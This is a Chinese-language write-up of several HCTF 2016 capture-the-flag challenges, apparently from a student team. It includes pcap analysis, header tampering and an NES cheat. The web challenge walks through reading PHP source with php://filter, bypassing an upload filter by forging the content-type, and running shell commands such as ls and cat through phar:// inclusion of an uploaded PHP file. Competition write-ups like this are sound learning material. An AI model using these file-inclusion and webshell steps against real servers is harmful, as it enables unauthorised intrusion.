2016hctf writeup

szuaurora發表於2017-03-04

MISC雜項簽到

http://139.224.54.27/webco1a/+_+.pcapng

用wireshark開啟流量包,追蹤TCP流,發現是一個webshell的流量,看到webshell控制端檢視了遠端伺服器上的兩個關鍵檔案:function.py和flag

cat function.py:

#!/usr/bin/env python

# coding:utf-8

__author__ = 'Aklis'

 

from Crypto import Random

fromCrypto.Cipher import AES

 

import sys

import base64

 

 

def decrypt(encrypted, passphrase):

  IV = encrypted[:16]

aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.decrypt(encrypted[16:])

 

 

def encrypt(message, passphrase):

  IV = message[:16]

length = 16

count = len(message)

padding = length - (count % length)

message = message + '\0' * padding

aes = AES.new(passphrase, AES.MODE_CBC, IV)

returnaes.encrypt(message)

 

 

IV = 'YUFHJKVWEASDGQDH'

 

message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'

 

 

printlen(message)

 

example = encrypt(message, 'Qq4wdrhhyEWe4qBF')

print example

example = decrypt(example, 'Qq4wdrhhyEWe4qBF')

print example


 

cat flag:

mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==

flag明顯是個base64編碼後的字串,將其解碼後再用function.py和decrypt函式解密:

執行得到flag

 

Web2099年的flag

由ios99想到改user-agent,抓包改一下

 

WebRESTFUL

先用PUT方法傳個參

查了一下RESTful,發現是一種web軟體架構,是一種分層結構

http://www.ruanyifeng.com/blog/2011/09/restful

改個包,flag出來了

 

MISC gogogo

下載下來,發現是個.nes的紅白機檔案,用FcEuX開啟,看到了經典的魂鬥羅

按照http://wenku.baidu.com/link?url=1i4slMmKov6LncwLAwa-VmJmAwRwIkgcK-xzls2uOnuJzS7wrsG_mjDdVOVbQzG0Q5p6NmRzcd-vBIbpuWihXEdoiQWs6dsc03aggjzd3Ty

的來修改一下有無限命和不壞金身,打穿就看到了:

 

Web 兵者多詭

http://pics.hctf.io/home.php?key=hduisa123

檔案上傳頁面猜測是上傳漏洞,頁面說明只能上傳png檔案

嘗試了幾次後發現驗證方式是對content-type驗證,為image/png即可,但是上傳後的檔案會被重新命名並加上.png字尾。

發現允許使用php偽協議:

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=upload

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=home

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=function

http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=show

把原始碼扒下來,base64解碼,

home.php

<?php

error_reporting(0);

 

@session_start();

posix_setuid(1000);

 

$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];

if(preg_match('/\.\./',$fp))

{

     die('No No No!');

}

if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))

{

     die();

}

?>

<!DOCTYPE html>

<html>

     <head>

              <title></title>

              <metacharset="utf-8">

              <linkhref="css/bootstrap.min.css" rel="stylesheet">

              <linkhref="css/jumbotron-narrow.css" rel="stylesheet">

     </head>

     <body>

              <divclass="container">

                       <divclass="header clearfix">

                                 <nav>

                                          <ulclass="navnav-pills pull-right">

                                                   <lirole="presentation" class="active"><ahref="home.php?key=hduisa123">Home</a></li>

                                          </ul>

                                 </nav>

                                 <h3class="text-muted">pictures</h3>

                       </div>

 

                       <divclass="jumbotron">

                                 <h1>PicturesStorage</h1>

                                 <pclass="lead">在這裡上傳您的圖片,我們將為您儲存</p>

                                 <formaction="?fp=upload" method="POST" id="form"enctype="multipart/form-data">

                                          <inputtype="file" id="image" name="image"class="btnbtn-lgbtn-success" style="margin-left: auto;margin-right: auto;">

                                          <br>

                                          <inputtype="submit" id="submit" name="submit"class="btnbtn-lgbtn-success" role="button" value="上傳圖片">

                                 </form>

                       </div>

              </div>

     </body>

</html>

<?php

if($fp !== 'fail')

{

     if(!(include($fp.'.php')))

     {

              ?>

              <divclass="alert alert-danger" role="alert">沒有此頁面</div>

              <?php

                       exit;

     }

}

?>

 

upload.php

<?php

include 'function.php';

if(isset($_POST['submit']) &&!empty($_FILES['image']['tmp_name']))

{  

     $name =$_FILES['image']['tmp_name'];

     $type =$_FILES['image']['type'];

     $size =$_FILES['image']['size'];

 

     if(!is_uploaded_file($name))

     {

              ?>

              <divclass="alert alert-danger" role="alert">圖片上傳失敗,請重新上傳</div>

              <?php

                       exit;

     }       

 

     if($type !== 'image/png')

     {

              ?>

              <divclass="alert alert-danger" role="alert">只能上傳PNG圖片</div>

              <?php

                       exit;

     }      

 

     if($size > 10240)

     {

              ?>

              <div class="alert alert-danger"role="alert">圖片大小超過10KB</div>

              <?php

                       exit;

     }

 

     $imagekey =create_imagekey();

     move_uploaded_file($name,"uploads/$imagekey.png");

 

     echo"<script>location.href='?fp=show&imagekey=$imagekey'</script>";

}

?>

 

show.php

<?php

$imagekey = $_GET['imagekey'];

if(empty($imagekey))

{

     echo"<script>location.href='home.php'</script>";

     exit;

}

 

?>

<div class="alert alert-success"role="alert">

     上傳成功,<ahref="uploads/<?php echo $imagekey; ?>.png"class="alert-link">點此檢視</a>

</div>

 

 

function.php

<?php

     functioncreate_imagekey()

     {

              returnsha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() .mt_rand());

     }

?>
 

發現home.php中存在本地檔案包含:if(!(include($fp.’.php’))),fp引數可控制,然後會在檔名後加一個.php進行檔案包含,因此我們可以上傳我們需要包含的檔案。但是直接包含肯定是不行的,需要構造檔名。

查詢PHP手冊發現PHP支援如下的Wrappers:

 

    file:// — Accessing localfilesystem

    http:// — AccessingHTTP(s) URLs

ftp:// — Accessing FTP(s) URLs

php:// — Accessing various I/O streams

zlib:// — Compression Streams

data:// — Data (RFC 2397)

glob:// — Find pathnames matching pattern

phar:// — PHP Archive

    ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — Process Interaction Streams

測試phar://可用,將php檔案打包在zip檔案中,再構造路徑訪問。

測試發現如果webshell中有提交引數的變數會被過濾,如$_POST,$_REQUEST等,而且eval函式被禁用了,因此使用passthru函式執行系統命令。

寫一個2.php檔案,打包在zip壓縮包中上傳,上傳時使用burpsuite的截斷功能修改content-type。

檢視當前目錄下檔案:<?phppassthru(‘ls–alh’); ?>

上傳後訪問檔名為24c38706822f22274de3d8faabb5b9601d922d85.png,訪問

http://pics.hctf.io/home.php?fp=phar://uploads/24c38706822f22274de3d8faabb5b9601d922d85.png/2

沒什麼特別的

檢視工作目錄<?phppassthru(‘pwd’);?>

檢視上層目錄

<?php echo passthru('ls /var/www');?>


有個php檔案,檢視一下

<?php echo passthru('cat /var/www/Th1s_1s_F1a9.php');?>

檢視頁面原始碼


相關文章